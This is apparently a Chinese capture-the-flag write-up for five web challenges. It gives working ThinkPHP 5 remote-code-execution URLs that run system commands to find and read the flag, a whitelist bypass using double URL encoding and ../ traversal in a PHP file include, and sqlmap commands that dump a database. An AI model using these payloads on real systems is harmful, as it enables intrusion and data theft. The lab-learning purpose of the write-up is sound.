一、web-php_rce(ThinkPHP远程代码执行)
题目:
考察ThinkPHP版本5的相关漏洞
注意:111.198.29.45是我的场景IP
解题方法:
1、ThinkPHP5.0有远程代码执行漏洞,复现输入:
http://111.198.29.45:46166/index.php?s=/Index/\think\app/invokefunction&function=call_user_func_array&vars[0]=phpinfo&vars[1][]=-1
结果:
2、利用命令寻找flag:
http://111.198.29.45:46166/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find%20/%20-name%20%22*flag*%22%20-print
结果:
3、输入命令查看flag文件
http://111.198.29.45:46166/index.php?s=index/\think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat%20/flag
结果:
二、Web_php_include
题目:
从上面的代码可以看出这个php文件是page参数中不能带有php://内容,所以可以通过大小写绕过;
解题基础:php伪协议
解题方法:
由于我的hackbar不能用,所以只能用burpsuite了;
截获request报文:
利用PHP绕过大小写来执行命令:
接下来查看fl4gisisish3r3.php文件内容:
三、warmup
题目
解题方法:
1、首先按F12查看源代码,发现有source.php
2、访问source.php
3、看到里面内容,还有hint.php,查看,发现flag在ffffllllaaaagggg文件中
4、审计source.php代码
if (! empty($_REQUEST['file']) //$_REQUEST['file']值非空
&& is_string($_REQUEST['file']) //$_REQUEST['file']值为字符串
&& emmm::checkFile($_REQUEST['file']) //能够通过checkFile函数校验
) {
include $_REQUEST['file']; //包含$_REQUEST['file']文件
exit;
} else {
echo "<br><img src=\"https://i.loli.net/2018/11/01/5bdb0d93dc794.jpg\" />";
//打印滑稽表情
}
代码告知我们需要三个条件:
1.值为非空
2.值为字符串
3.能够通过checkFile()函数校验
否则打印滑稽
5、查看checkfile()函数
highlight_file(__FILE__); //打印代码
class emmm //定义emmm类
{
public static function checkFile(&$page)//将传入的参数赋给$page
{
$whitelist = ["source"=>"source.php","hint"=>"hint.php"];//声明$whitelist(白名单)数组
if (! isset($page) || !is_string($page)) {//若$page变量不存在或非字符串
echo "you can't see it";//打印"you can't see it"
return false;//返回false
}
if (in_array($page, $whitelist)) {//若$page变量存在于$whitelist数组中
return true;//返回true
}
$_page = mb_substr(//该代码表示截取$page中'?'前部分,若无则截取整个$page
$page,
0,
mb_strpos($page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
$_page = urldecode($page);//url解码$page
$_page = mb_substr(
$_page,
0,
mb_strpos($_page . '?', '?')
);
if (in_array($_page, $whitelist)) {
return true;
}
echo "you can't see it";
return false;
}
}
代码告知我们:
1.第一个if语句对变量进行检验,要求$page为字符串,否则返回false
2.第二个if语句判断$page是否存在于$whitelist数组中,存在则返回true
3.第三个if语句判断截取后的$page是否存在于$whitelist数组中,截取$page中'?'前部分,存在则返回true
4.第四个if语句判断url解码并截取后的$page是否存在于$whitelist中,存在则返回true
若以上四个if语句均未返回值,则返回false
有三个if语句可以返回true,第二个语句直接判断$page,不可用
第三个语句截取'?'前部分,由于?被后部分被解析为get方式提交的参数,也不可利用
第四个if语句中,先进行url解码再截取,因此我们可以将?经过两次url编码,在服务器端提取参数时解码一次,checkFile函数中解码一次,仍会解码为'?',仍可通过第四个if语句校验。('?'两次编码值为'%253f'),构造url:
因为我们不知道ffffllllaaaagggg文件存放的具体位置
所以依次增加../,最终成功拿到flag
6、最终拿到flag
四、NewsCenter
题目:
解题方法:
1、看到这里先扫一下有没有隐藏目录文件,结果是没有,只能从网站的漏洞开始查找,这里可能有sql注入和xss漏洞;先用burpsuite截获报文:
将报文内容存放到1.txt文件中,用sqlmap来进行注入测试
sqlmap -r 1.txt -dbs
2、查看news数据库表
sqlmap -r 1.txt -D "news" --tables
发现有个secret_table表
3、查看内容
sqlmap -r 1.txt -D "news" --dump
结果显示出了news数据库的所有内容
成功拿到flag
五、NaNNaNNaNNaN-Batman
题目:
解题基础:
正则表达式
解题方法:
1、拿到zip文件,解压后有个web100文件,修改为html后缀的文件,用浏览器打开,之后是一个这样的网页
2、由于网页乱码,不知道真实格式,看到最后是eval执行的script脚本,改为alert,找到正确的脚本:
function $(){var e=document.getElementById("c").value;if(e.length==16)if(e.match(/^be0f23/)!=null)if(e.match(/233ac/)!=null)if(e.match(/e98aa$/)!=null)if(e.match(/c7be9/)!=null){var t=["fl","s_a","i","e}"];var n=["a","_h0l","n"];var r=["g{","e","_0"];var i=["it'","_","n"];var s=[t,n,r,i];for(var o=0;o<13;++o){document.write(s[o%4][0]);s[o%4].splice(0,1)}}}document.write('<input id="c"><button onclick=$()>Ok</button>');delete _
读懂之后会形成这样长度为16的内容:
be0f233ac7be98aa
3、将上面的内容写入文本框,点击ok: